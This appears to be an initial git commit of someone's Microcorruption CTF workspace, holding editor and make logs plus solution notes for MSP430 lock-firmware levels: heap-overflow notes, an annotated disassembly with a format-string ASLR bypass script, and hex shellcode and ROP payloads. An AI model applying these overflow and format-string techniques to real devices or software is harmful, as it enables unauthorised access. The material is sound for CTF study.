Initial Commit

This commit is contained in:
Val 2022-08-07 19:58:46 -05:00
commit 9281acc1eb
37 changed files with 134710 additions and 0 deletions

14
.gitignore vendored Normal file
View File

@ -0,0 +1,14 @@
# Microcorruption save files
Saves
# Dependency and object files
**/dep
**/obj
**/*.out
# MSProbe - https://github.com/Swiftloke/MSProbe
MSProbe
# Python cache
__pycache__
**/__pycache__

1
.vscode/configurationCache.log vendored Normal file
View File

@ -0,0 +1 @@
{"buildTargets":[],"launchTargets":[],"customConfigurationProvider":{"workspaceBrowse":{"browsePath":[],"compilerArgs":[]},"fileIndex":[]}}

6
.vscode/dryrun.log vendored Normal file
View File

@ -0,0 +1,6 @@
make --dry-run --keep-going --print-directory
make: Entering directory '/mnt/c/Users/valli/Documents/MicroCorruption'
make: Leaving directory '/mnt/c/Users/valli/Documents/MicroCorruption'
make: *** No targets specified and no makefile found. Stop.

3
.vscode/settings.json vendored Normal file
View File

@ -0,0 +1,3 @@
{
"makefile.extensionOutputFolder": "./.vscode"
}

242
.vscode/targets.log vendored Normal file
View File

@ -0,0 +1,242 @@
make all --print-data-base --no-builtin-variables --no-builtin-rules --question
make: *** No rule to make target 'all'. Stop.
# GNU Make 4.3
# Built for x86_64-pc-linux-gnu
# Copyright (C) 1988-2020 Free Software Foundation, Inc.
# License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
# This is free software: you are free to change and redistribute it.
# There is NO WARRANTY, to the extent permitted by law.
# Make data base, printed on Sat Aug 6 01:00:38 2022
# Variables
# environment
LC_ALL = C
# environment
PULSE_SERVER = /mnt/wslg/PulseServer
# environment
WSLENV = VSCODE_WSL_EXT_LOCATION/up:VSCODE_SERVER_TAR/up
# environment
VSCODE_CWD = /mnt/c/Users/valli/AppData/Local/Programs/Microsoft VS Code
# environment
NVM_DIR = /home/val/.nvm
# default
MAKE_COMMAND := make
# environment
VSCODE_HANDLES_SIGPIPE = true
# automatic
@D = $(patsubst %/,%,$(dir $@))
# environment
VSCODE_HANDLES_UNCAUGHT_ERRORS = true
# default
.VARIABLES :=
# environment
PWD = /mnt/c/Users/valli/Documents/MicroCorruption
# automatic
%D = $(patsubst %/,%,$(dir $%))
# environment
LSCOLORS = Gxfxcxdxbxegedabagacad
# environment
OLDPWD = /mnt/c/Users/valli/AppData/Local/Programs/Microsoft VS Code
# automatic
^D = $(patsubst %/,%,$(dir $^))
# automatic
%F = $(notdir $%)
# environment
NVM_INC = /home/val/.nvm/versions/node/v16.13.0/include/node
# environment
LANG = C
# default
.LOADED :=
# default
.INCLUDE_DIRS = /usr/include /usr/local/include /usr/include
# makefile
MAKEFLAGS = pqrR
# environment
DEVKITARM = /opt/devkitpro/devkitARM
# makefile
CURDIR := /mnt/c/Users/valli/Documents/MicroCorruption
# environment
APPLICATION_INSIGHTS_NO_DIAGNOSTIC_CHANNEL = true
# automatic
*D = $(patsubst %/,%,$(dir $*))
# environment
MFLAGS = -pqrR
# default
.SHELLFLAGS := -c
# environment
NVM_BIN = /home/val/.nvm/versions/node/v16.13.0/bin
# environment
WSL2_GUI_APPS_ENABLED = 1
# environment
WAYLAND_DISPLAY = wayland-0
# automatic
+D = $(patsubst %/,%,$(dir $+))
# makefile
MAKEFILE_LIST :=
# automatic
@F = $(notdir $@)
# environment
ZSH = /home/val/.oh-my-zsh
# automatic
?D = $(patsubst %/,%,$(dir $?))
# environment
DEVKITPPC = /opt/devkitpro/devkitPPC
# automatic
*F = $(notdir $*)
# automatic
<D = $(patsubst %/,%,$(dir $<))
# environment
VSCODE_NLS_CONFIG = {"locale":"en","availableLanguages":{}}
# default
MAKE_HOST := x86_64-pc-linux-gnu
# makefile
SHELL = /bin/sh
# default
MAKECMDGOALS := all
# environment
SHLVL = 2
# environment
MAKELEVEL := 0
# default
MAKE = $(MAKE_COMMAND)
# environment
PATH = /home/val/.vscode-server/bin/da76f93349a72022ca4670c1b84860304616aaa2/bin/remote-cli:/home/val/.nvm/versions/node/v16.13.0/bin:/opt/devkitpro/tools/bin:/home/val/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/usr/lib/wsl/lib:/mnt/c/WINDOWS/system32:/mnt/c/WINDOWS:/mnt/c/WINDOWS/System32/Wbem:/mnt/c/WINDOWS/System32/WindowsPowerShell/v1.0/:/mnt/c/WINDOWS/System32/OpenSSH/:/mnt/c/Program Files/dotnet/:/mnt/c/Program Files/WireGuard/:/mnt/c/Program Files/Calibre2/:/mnt/c/ProgramData/chocolatey/bin:/mnt/c/Program Files/usbipd-win/:/mnt/c/Program Files/Git/cmd:/mnt/c/Program Files (x86)/GnuPG/bin:/mnt/c/Users/valli/AppData/Local/Programs/Python/Python310/Scripts/:/mnt/c/Users/valli/AppData/Local/Programs/Python/Python310/:/mnt/c/Python310/Scripts/:/mnt/c/Python310/:/mnt/c/Users/valli/AppData/Local/Microsoft/WindowsApps:/mnt/c/Users/valli/AppData/Local/Programs/Microsoft VS Code/bin:/mnt/c/Users/valli/Programs/platform-tools:/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/core_perl
# default
MAKEFILES :=
# automatic
^F = $(notdir $^)
# automatic
?F = $(notdir $?)
# environment
NAME = framework
# environment
DEVKITPRO = /opt/devkitpro
# environment
VSCODE_SERVER_TAR = /mnt/c/Users/valli/AppData/Local/Temp/vscode-remote-wsl/da76f93349a72022ca4670c1b84860304616aaa2/vscode-server-stable-linux-x64.tar.gz
# environment
HOSTTYPE = x86_64
# environment
LS_COLORS = rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.webp=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
# automatic
+F = $(notdir $+)
# environment
LESS = -R
# environment
WSL_INTEROP = /run/WSL/13_interop
# 'override' directive
GNUMAKEFLAGS :=
# environment
LOGNAME = val
# environment
VSCODE_WSL_EXT_LOCATION = /mnt/c/Users/valli/.vscode/extensions/ms-vscode-remote.remote-wsl-0.66.3
# makefile
.DEFAULT_GOAL :=
# environment
DISPLAY = :0
# environment
USER = val
# default
MAKE_VERSION := 4.3
# environment
PAGER = less
# environment
_ = /usr/sbin/make
# environment
XDG_RUNTIME_DIR = /mnt/wslg/runtime-dir
# environment
LC_CTYPE =
# environment
VSCODE_IPC_HOOK_CLI = /mnt/wslg/runtime-dir/vscode-ipc-84aeb54a-2a55-4133-82f0-e02f6af1e278.sock
# environment
NVM_CD_FLAGS = -q
# environment
VSCODE_AMD_ENTRYPOINT = vs/workbench/api/node/extensionHostProcess
# environment
HOME = /home/val
# environment
ELECTRON_RUN_AS_NODE = 1
# environment
TERM = xterm-256color
# default
.RECIPEPREFIX :=
# automatic
<F = $(notdir $<)
# default
SUFFIXES :=
# environment
WSL_DISTRO_NAME = Manjaro
# default
.FEATURES := target-specific order-only second-expansion else-if shortest-stem undefine oneshell nocomment grouped-target extra-prereqs archives jobserver output-sync check-symlink guile load
# variable set hash-table stats:
# Load=79/1024=8%, Rehash=0, Collisions=1/106=1%
# Pattern-specific Variable Values
# No pattern-specific variable values.
# Directories
# . (device 72, inode 7881299347912784): 24 files, no impossibilities.
# 24 files, no impossibilities in 1 directories.
# Implicit Rules
# No implicit rules.
# Files
# Not a target:
Makefile:
# Implicit rule search has been done.
# File does not exist.
# File has been updated.
# Failed to be updated.
# Not a target:
.DEFAULT:
# Implicit rule search has not been done.
# Modification time never checked.
# File has not been updated.
# Not a target:
all:
# Command line target.
# Implicit rule search has been done.
# File does not exist.
# File has not been updated.
# Not a target:
makefile:
# Implicit rule search has been done.
# File does not exist.
# File has been updated.
# Failed to be updated.
# Not a target:
GNUmakefile:
# Implicit rule search has been done.
# File does not exist.
# File has been updated.
# Failed to be updated.
# files hash-table stats:
# Load=6/1024=1%, Rehash=0, Collisions=0/15=0%
# VPATH Search Paths
# No 'vpath' search paths.
# No general ('VPATH' variable) search path.
# strcache buffers: 1 (0) / strings = 32 / storage = 508 B / avg = 15 B
# current buf: size = 8162 B / used = 508 B / count = 32 / avg = 15 B
# strcache performance: lookups = 35 / hit rate = 8%
# hash-table stats:
# Load=32/8192=0%, Rehash=0, Collisions=0/35=0%
# Finished Make data base on Sat Aug 6 01:00:38 2022

View File

@ -0,0 +1,6 @@
password:
passwordpassword1
username:
2020202020202020202020202020202020017f20202020202020202020202020202020202020202020204a44

View File

@ -0,0 +1,50 @@
//[*prev][*next][size:15][final:1]
struct block {
block * prev:16;
block * next:16;
short len :15;
bool end :01;
};
If the username is "usernameusername" + prev + &password + '0001'
then the password can be a fake block w/ a next pointer to an
2408: 0824 1e24 2100 # Block
2408[0] 0824: 2408 == (prev pointer?)
2408[2] 1e24: 241e == next pointer
2408[4] 2100: 0021 == 2 * block_size + 1
2408[6] data[0..bs]
Heap (0 malloc)
2400: 0824 0010 0100 0000 0000 0000 0000 0000 .$..............
Word 1: 2408 == &(heap_start)
Word 2: 1000 == total heap BYTES
Word 3: 0001 == needs_initialize
Word 4: 0000 == ???
Heap (1 malloc)
2400: 0824 0010 0000 0000 0824 1e24 2100 0000 .$.......$.$!...
2410: 0000 0000 0000 0000 0000 0000 0000 0824 ...............$
2420: 0824 c81f 0000 0000 0000 0000 0000 0000 .$..............
2408: 0824 1e24 2100 # Block
2408[0] 0824: 2408 == (prev pointer?)
2408[2] 1e24: 241e == next pointer
2408[4] 2100: 0021 == 2 * block_size + 1
2408[6] data[0..bs]
241e: 0824 0824 c81f # End block
241e[0] 0824: prev pointer
241e[2] 0824: next pointer
241e[4] c81f: 1fc8 == 2*(size of free space)
241e[6] free space
Heap (2 malloc)
2400: 0824 0010 0000 0000 0824 1e24 2100 0000 .$.......$.$!...
2410: 0000 0000 0000 0000 0000 0000 0000 0824 ...............$
2420: 3424 2100 0000 0000 0000 0000 0000 0000 4$!.............
2430: 0000 0000 1e24 0824 9c1f 0000 0000 0000 .....$.$........

View File

@ -0,0 +1,753 @@
.msp430
0010 <__trap_interrupt>
0010: 3041 ret
; Only runs once
4400 <__init_stack>
4400: 3140 0044 mov #0x4400, sp
4404 <__low_level_init>
4404: 1542 5c01 mov &0x015c, r5
4408: 75f3 and.b #-0x1, r5
440a: 35d0 085a bis #0x5a08, r5
440e <__do_copy_data>
440e: 3f40 0000 clr r15
4412: 0f93 tst r15
4414: 0724 jz $+0x10 <__do_clear_bss+0x0>
4416: 8245 5c01 mov r5, &0x015c
441a: 2f83 decd r15
; 4170 contains only zeroes
441c: 9f4f 704a 0024 mov 0x4a70(r15), 0x2400(r15)
4422: f923 jnz $-0xc <__do_copy_data+0x8>
4424 <__do_clear_bss>
4424: 3f40 3200 mov #0x32, r15
4428: 0f93 tst r15
442a: 0624 jz $+0xe <main+0x0>
442c: 8245 5c01 mov r5, &0x015c
4430: 1f83 dec r15
4432: cf43 0024 mov.b #0x0, 0x2400(r15)
4436: fa23 jnz $-0xa <__do_clear_bss+0x8>
rand_base_0x038: <main>
main:
4438: b012 1c4a call #0x4a1c <rand> ; get rand_base
443c: 0b4f mov r15, r11
443e: 3bf0 fe7f and #0x7ffe, r11
4442: 3b50 0060 add #0x6000, r11
4446: b012 1c4a call #0x4a1c <rand>
444a: 0a4f mov r15, r10
; Copy 0x1000 bytes from 0x4400 to rand_base
444c: 3012 0010 push #0x1000
4450: 3012 0044 push #0x4400
4454: 0b12 push r11
4456: b012 e849 call #0x49e8 <_memcpy>
445a: 3150 0600 add #0x6, sp
445e: 0f4a mov r10, r15
4460: 3ff0 fe0f and #0xffe, r15
4464: 0e4b mov r11, r14
4466: 0e8f sub r15, r14
4468: 3e50 00ff add #0xff00, r14
446c: 0d4b mov r11, r13
446e: 3d50 5c03 add #0x35c, r13
4472: 014e mov r14, sp
4474: 0f4b mov r11, r15
4476: 8d12 call r13
rand_base_0x078: <__stop_progExec__>
4478: 32d0 f000 bis #0xf0, sr
447c: fd3f jmp $-0x4 <__stop_progExec__+0x0>
rand_base_0x07e: <__ctors_end>
447e: 3040 6e4a br #0x4a6e <_unexpected_>
rand_base_0x082: <_aslr_main>
_aslr_main: ;! args: r15
push r11
push r10
; Eight more bytes on stack
sub #0x8, sp
mov r15, r12
add #0x36a, r12
mov r12, 0x2(sp)
clr r14
__delete_code_loop:
mov.b #0x0, 0x4400(r14)
inc r14
cmp #0x1000, r14
jnz $-0xa <__delete_code_loop>
; "Username (8 char max):" -> 0x2402
mov.b #0x55, &0x2402
mov.b #0x73, &0x2403
mov.b #0x65, &0x2404
mov.b #0x72, &0x2405
mov.b #0x6e, &0x2406
mov.b #0x61, &0x2407
mov.b #0x6d, &0x2408
mov.b #0x65, &0x2409
mov.b #0x20, &0x240a
mov.b #0x28, &0x240b
mov.b #0x38, &0x240c
mov.b #0x20, &0x240d
mov.b #0x63, &0x240e
mov.b #0x68, &0x240f
mov.b #0x61, &0x2410
mov.b #0x72, &0x2411
mov.b #0x20, &0x2412
mov.b #0x6d, &0x2413
mov.b #0x61, &0x2414
mov.b #0x78, &0x2415
mov.b #0x29, &0x2416
mov.b #0x3a, &0x2417
mov.b #0x0, &0x2418
mov #0x17, &0x2400
mov #0x2402, r14
clr r11
jmp $+0x22 <print_uname_string>
; Print the uname string bytewise
__print_uname_string_l:
inc r14
sxt r13
push r11
push r13
push r11
push pc
push sr
mov r11, r15
swpb r15
mov r15, sr
bis #0x8000, sr
call #0x10
pop sr
add #0x8, sp
print_uname_string:
mov.b @r14, r13
tst.b r13
jnz $-0x24 <__print_uname_string_l>
; Print newline
__print_line_feed__1: ; putchar
clr r14
mov #0xa, r13
push r14
push r13
push r14
push pc
push sr
mov r14, r15
swpb r15
mov r15, sr
bis #0x8000, sr
call #0x10
pop sr
add #0x8, sp
;* Print ">>"
__print_less_than__1: ; putchar
add #0x34, r13
push r14
push r13
push r14
push pc
push sr
mov r14, r15
swpb r15
mov r15, sr
bis #0x8000, sr
call #0x10
pop sr
add #0x8, sp
__print_less_than__2: ; putchar
push r14
push r13
push r14
push pc
push sr
mov r14, r15
swpb r15
mov r15, sr
bis #0x8000, sr
call #0x10
pop sr
add #0x8, sp
;! Gets 8 bytes of user input -> &0x2426
__get_uname_string: ; getsn
mov #0x8, r10
mov #0x2426, r11
mov #0x2, r13
push r10
push r11
push r13
push pc
push sr
mov r13, r15
swpb r15
mov r15, sr
bis #0x8000, sr
call #0x10 ; INT (2, 0x2426, 0x8)
pop sr
add #0x8, sp
; Calls r15+0x36a
mov.b r14, &0x242e
push r11
call r12 ;! PRINTF???
incd sp
mov r11, r15
jmp $+0x8 <clsb_a>
__clsb_a_loop:
mov.b #0x0, 0x0(r15)
inc r15
clsb_a:
cmp #0x2432, r15
jnz $-0xa <__clsb_a_loop>
;! "Password:" -> 0x2403
mov.b #0xa, &0x2402 ; length 10
mov.b #0x50, &0x2403
mov.b #0x61, &0x2404
mov.b #0x73, &0x2405
mov.b #0x73, &0x2406
mov.b #0x77, &0x2407
mov.b #0x6f, &0x2408
mov.b #0x72, &0x2409
mov.b #0x64, &0x240a
mov.b #0x3a, &0x240b
mov.b #0x0, &0x240c
mov #0x2402, r14 ; r14 = &length
; puts ("Password:")
clr r12
jmp $+0x22 <print_passwd_string>
__print_passwd_string:
inc r14
sxt r13
push r12
push r13
push r12
push pc
push sr
mov r12, r15
swpb r15
mov r15, sr
bis #0x8000, sr
call #0x10 ; INT (0, r13)
pop sr
add #0x8, sp
print_passwd_string:
mov.b @r14, r13
tst.b r13
jnz $-0x24 <__print_passwd_string>
clr r14
mov #0xa, r13
push r14
push r13
push r14
push pc
push sr
mov r14, r15
swpb r15
mov r15, sr
bis #0x8000, sr
call #0x10
pop sr
add #0x8, sp
;! Get password from user -> STACK
__get_pass_string: ; getsn
mov sp, r11
add #0x4, r11
mov #0x14, r12
mov #0x2, r13
push r12
push r11
push r13
push pc
push sr
mov r13, r15
swpb r15
mov r15, sr
bis #0x8000, sr
call #0x10 ; INT (2, )
0x2aa:
pop sr
add #0x8, sp
;! Check password with HSM-2
__check_password: ; conditional_unlock_door
add #0x7c, r13
mov sp, r12
push r12
push r11
push r13
push pc
push sr
mov r13, r15
swpb r15
mov r15, sr
bis #0x8000, sr
call #0x10
pop sr
add #0x8, sp
; "Wrong!" -> 0x2402
mov.b #0x57, &0x2402
mov.b #0x72, &0x2403
mov.b #0x6f, &0x2404
mov.b #0x6e, &0x2405
mov.b #0x67, &0x2406
mov.b #0x21, &0x2407
mov.b r14, &0x2408 ; Hah, nice hint: r14 still 0
mov #0x7, &0x2400 ; length: 7
;* puts
mov #0x2402, r13
jmp $+0x22 <_aslr_main+0x2a2>
__print_wrong_string: ; puts ("Wrong!")
inc r13
sxt r12
push r14
push r12
push r14
push pc
push sr
mov r14, r15
swpb r15
mov r15, sr
bis #0x8000, sr
call #0x10
pop sr
add #0x8, sp
print_wrong_string:
mov.b @r13, r12
tst.b r12
jnz $-0x24 <_aslr_main+0x282>
; print newline
clr r14
mov #0xa, r13
push r14
push r13
push r14
push pc
push sr
mov r14, r15
swpb r15
mov r15, sr
bis #0x8000, sr
call #0x10
pop sr
add #0x8, sp
mov sp, r14
; r15 = ++r14
incd r14
push r14
pop r15
4754:
add #0x8, sp
pop r10
pop r11
ret
rand_base_0x35c: <aslr_main>
aslr_main:
475c: 0e4f mov r15, r14
475e: 3e50 8200 add #0x82, r14
4762: 8e12 call r14
; SR |= 0x00f0
4764: 32d0 f000 bis #0xf0, sr
4768: 3041 ret
aslr_base_0x36a: <printf>
printf:
; Save registers
push r11
push r10
push r9
push r8
push r7
push r6
push r4
; Create a new stack frame of 0xe bytes
mov sp, r4
add #0xe, r4
; Get the first argument
decd sp
mov 0x2(r4), r10
mov sp, -0x10(r4)
mov r10, r15
clr r14
jmp $+0x18 <__target_1> +3a
inc r15
cmp.b #0x25, r13
jnz $+0x10 <__target_1> +3a
cmp.b @r15, r13
jnz $+0x8 <__target_2> +36
__target_4:
inc r15
clr r13
jmp $+0x4 <__target_3> +38
__target_2:
mov #0x1, r13
add r13, r14
__target_3:
mov.b @r15, r13
tst.b r13
jnz $-0x1a <__target_4> +24
mov r14, r15
add r15, r15
incd r15
sub r15, sp
mov sp, r11
mov r4, r12
add #0x4, r12
mov sp, r15
clr r13
jmp $+0xc <printf+0x5e>
mov @r12, 0x0(r15)
inc r13
incd r15
incd r12
cmp r14, r13
jl $-0xc <printf+0x54>
clr r12
mov #0x9, r6
mov r12, r13
mov #0x25, r7
jmp $+0xf8 <printf+0x166>
inc r10
cmp.b #0x25, r15
jz $+0x26 <printf+0x9c>
inc r12
__target_1:
mov.b r15, r14
sxt r14
push r13
push r14
push r13
push pc
push sr
mov r13, r15
swpb r15
mov r15, sr
bis #0x8000, sr
call #0x10
pop sr
add #0x8, sp
jmp $+0xcc <printf+0x166>
mov.b @r10, r14
cmp.b r15, r14
jnz $+0x22 <printf+0xc2>
inc r12
push r13
push r7
push r13
push pc
push sr
mov r13, r15
swpb r15
mov r15, sr
bis #0x8000, sr
call #0x10
pop sr
add #0x8, sp
jmp $+0xa2 <printf+0x162>
cmp.b #0x73, r14
jnz $+0x32 <printf+0xf8>
mov @r11, r14
clr r8
jmp $+0x24 <printf+0xf0>
inc r12
inc r14
sxt r9
push r8
push r9
push r8
push pc
push sr
mov r8, r15
swpb r15
mov r15, sr
bis #0x8000, sr
call #0x10
pop sr
add #0x8, sp
mov.b @r14, r9
tst.b r9
jnz $-0x26 <printf+0xce>
jmp $+0x6c <printf+0x162>
cmp.b #0x78, r14
jnz $+0x5a <printf+0x156>
mov @r11, r14
mov #0x4, r9
jmp $+0x4a <printf+0x14c>
mov r14, r15
swpb r15
and #0xff, r15
clrc
rrc r15
rra r15
rra r15
rra r15
cmp r15, r6
jl $+0xa <printf+0x122>
mov r15, r8
add #0x30, r8
jmp $+0x8 <printf+0x128>
mov r15, r8
add #0x57, r8
push r13
push r8
push r13
push pc
push sr
mov r13, r15
swpb r15
mov r15, sr
bis #0x8000, sr
call #0x10
pop sr
add #0x8, sp
add r14, r14
add r14, r14
add r14, r14
add r14, r14
add #-0x1, r9
cmp #-0x1, r9
jnz $-0x4c <printf+0x104>
add #0x4, r12
jmp $+0xe <printf+0x162>
cmp.b #0x6e, r14
jnz $+0x8 <printf+0x162>
mov @r11, r15
mov r12, 0x0(r15)
incd r11
inc r10
mov.b @r10, r15
tst.b r15
jnz $-0xfa <printf+0x70>
mov -0x10(r4), sp
incd sp
pop r4
pop r6
pop r7
pop r8
pop r9
pop r10
pop r11
ret
;;;
def bypass (printf_loc):
aslr_base = printf_loc - 0x36a;
print(b'%n%x'.hex())
print(f"{b'AAAA1011'.hex()}{aslr_base+0x56c:x}7f7f{aslr_base+0x4f4:x}")
;;;
aslr_base_0x4ec: <_INT>
_INT:
48ec: 1e41 0200 mov 0x2(sp), r14
48f0: 0212 push sr
48f2: 0f4e mov r14, r15
aslr_base_0x4f4:
48f4: 8f10 swpb r15
48f6: 024f mov r15, sr
48f8: 32d0 0080 bis #0x8000, sr
48fc: b012 1000 call #0x10
4900: 3241 pop sr
4902: 3041 ret
aslr_base_0x504: <INT>
INT:
4904: 0c4f mov r15, r12
4906: 0d12 push r13
4908: 0e12 push r14
490a: 0c12 push r12
490c: 0012 push pc
490e: 0212 push sr
4910: 0f4c mov r12, r15
4912: 8f10 swpb r15
4914: 024f mov r15, sr
4916: 32d0 0080 bis #0x8000, sr
491a: b012 1000 call #0x10
491e: 3241 pop sr
4920: 3152 add #0x8, sp
4922: 3041 ret
aslr_base_0x524: <putchar>
putchar:
4924: 0e4f mov r15, r14
4926: 0d43 clr r13
4928: 0d12 push r13
492a: 0e12 push r14
492c: 0d12 push r13
492e: 0012 push pc
4930: 0212 push sr
4932: 0f4d mov r13, r15
4934: 8f10 swpb r15
4936: 024f mov r15, sr
4938: 32d0 0080 bis #0x8000, sr
493c: b012 1000 call #0x10
4940: 3241 pop sr
4942: 3152 add #0x8, sp
4944: 0f4e mov r14, r15
4946: 3041 ret
aslr_base_0x548: <getchar>
getchar:
4948: 2183 decd sp
494a: 0d43 clr r13
494c: 1e43 mov #0x1, r14
494e: 0c41 mov sp, r12
4950: 0d12 push r13
4952: 0c12 push r12
4954: 0e12 push r14
4956: 0012 push pc
4958: 0212 push sr
495a: 0f4e mov r14, r15
495c: 8f10 swpb r15
495e: 024f mov r15, sr
4960: 32d0 0080 bis #0x8000, sr
4964: b012 1000 call #0x10
4968: 3241 pop sr
496a: 3152 add #0x8, sp
496c: 6f41 mov.b @sp, r15
496e: 8f11 sxt r15
4970: 2153 incd sp
4972: 3041 ret
aslr_base_0x574: <getsn>
getsn:
4974: 0d4f mov r15, r13
4976: 2c43 mov #0x2, r12
4978: 0e12 push r14
497a: 0d12 push r13
497c: 0c12 push r12
497e: 0012 push pc
4980: 0212 push sr
4982: 0f4c mov r12, r15
4984: 8f10 swpb r15
4986: 024f mov r15, sr
4988: 32d0 0080 bis #0x8000, sr
498c: b012 1000 call #0x10
4990: 3241 pop sr
4992: 3152 add #0x8, sp
4994: 3041 ret
aslr_base_0x596: <puts>
puts:
4996: 0e4f mov r15, r14
4998: 0c43 clr r12
499a: 103c jmp $+0x22 <puts+0x26>
499c: 1e53 inc r14
499e: 8d11 sxt r13
49a0: 0c12 push r12
49a2: 0d12 push r13
49a4: 0c12 push r12
49a6: 0012 push pc
49a8: 0212 push sr
49aa: 0f4c mov r12, r15
49ac: 8f10 swpb r15
49ae: 024f mov r15, sr
49b0: 32d0 0080 bis #0x8000, sr
49b4: b012 1000 call #0x10
49b8: 3241 pop sr
49ba: 3152 add #0x8, sp
49bc: 6d4e mov.b @r14, r13
49be: 4d93 tst.b r13
49c0: ed23 jnz $-0x24 <puts+0x6>
49c2: 0e43 clr r14
49c4: 3d40 0a00 mov #0xa, r13
49c8: 0e12 push r14
49ca: 0d12 push r13
49cc: 0e12 push r14
49ce: 0012 push pc
49d0: 0212 push sr
49d2: 0f4e mov r14, r15
49d4: 8f10 swpb r15
49d6: 024f mov r15, sr
49d8: 32d0 0080 bis #0x8000, sr
49dc: b012 1000 call #0x10
49e0: 3241 pop sr
49e2: 3152 add #0x8, sp
49e4: 0f4e mov r14, r15
49e6: 3041 ret
aslr_base_0x5e8: <_memcpy>
memcpy:
49e8: 1c41 0600 mov 0x6(sp), r12
49ec: 0f43 clr r15
49ee: 093c jmp $+0x14 <_memcpy+0x1a>
49f0: 1e41 0200 mov 0x2(sp), r14
49f4: 0e5f add r15, r14
49f6: 1d41 0400 mov 0x4(sp), r13
49fa: 0d5f add r15, r13
49fc: ee4d 0000 mov.b @r13, 0x0(r14)
4a00: 1f53 inc r15
4a02: 0f9c cmp r12, r15
4a04: f523 jnz $-0x14 <_memcpy+0x8>
4a06: 3041 ret
aslr_base_608: <_bzero>
bzero:
4a08: 0d43 clr r13
4a0a: 053c jmp $+0xc <_bzero+0xe>
4a0c: 0c4f mov r15, r12
4a0e: 0c5d add r13, r12
4a10: cc43 0000 mov.b #0x0, 0x0(r12)
4a14: 1d53 inc r13
4a16: 0d9e cmp r14, r13
4a18: f923 jnz $-0xc <_bzero+0x4>
4a1a: 3041 ret
aslr_base_0x61c: <rand>
rand:
4a1c: 0e43 clr r14
4a1e: 3d40 2000 mov #0x20, r13
4a22: 0e12 push r14
4a24: 0e12 push r14
4a26: 0d12 push r13
4a28: 0012 push pc
4a2a: 0212 push sr
4a2c: 0f4d mov r13, r15
4a2e: 8f10 swpb r15
4a30: 024f mov r15, sr
4a32: 32d0 0080 bis #0x8000, sr
4a36: b012 1000 call #0x10
4a3a: 3241 pop sr
4a3c: 3152 add #0x8, sp
4a3e: 0f4f mov r15, r15
4a40: 3041 ret
aslr_base_0x642: <conditional_unlock_door>
conditional_unlock_door:
4a42: 2183 decd sp
4a44: 0e4f mov r15, r14
4a46: 3d40 7e00 mov #0x7e, r13
4a4a: 0c41 mov sp, r12
4a4c: 0c12 push r12
4a4e: 0e12 push r14
4a50: 0d12 push r13
4a52: 0012 push pc
4a54: 0212 push sr
4a56: 0f4d mov r13, r15
4a58: 8f10 swpb r15
4a5a: 024f mov r15, sr
4a5c: 32d0 0080 bis #0x8000, sr
4a60: b012 1000 call #0x10
4a64: 3241 pop sr
4a66: 3152 add #0x8, sp
4a68: 0f43 clr r15
4a6a: 2153 incd sp
4a6c: 3041 ret
4a6e <_unexpected_>
4a6e: 0013 reti pc

View File

@ -0,0 +1,38 @@
.msp430
.bss
at return, r14 is #000a
; padding
[41414141414141414141414141414141]
; fake stack pages:
page1:
ba4440000000 ; set page executable;; payload
page2:
400a:
0640
; payload
31800600324000ffb0121000
; assembled payload:
41414141414141414141414141414141ba4440000000064031800600324000ffb0121000
32420800b0121000:
mov #8f00, sr
call #0x10
.text
3f403f80591b024fb0121000:
mov #ff01, r15
sub #7001, r15
mov r15, sr
call #0x10
32403280591bb0121000:
mov #ff01, sr
sub #7001,sr
call #0x10

View File

@ -0,0 +1,15 @@
.msp430
.text 0x25c0
exploit:
mov #0xff00, sr
call #0010
.text 0x4444
setup:
; sub 0x1e40, sp
add #0x674a, sp
add #0x7a7a, sp
; br &sp
ret

View File

@ -0,0 +1,66 @@
; Goal: execute code from 0x25b6
; stack buffer: 43ed
; mem buffer: 2400
passwordpassword1[retval][pcoffset]0[realfunc][padding]0[bootstrapper]
retval = 0x4430 ; &bootstrapper
pcoffset = 0x2443-0x4430 ; &realfunc - retval
padding = "A"*0x30 + "1" ; alignment
bootstrapper = subc @sp+, pc ; 3071
'passwordpassword1' + 'D0' + '??' + '0' + [realfunc][padding]0[bootstrapper]
bootstrapper:
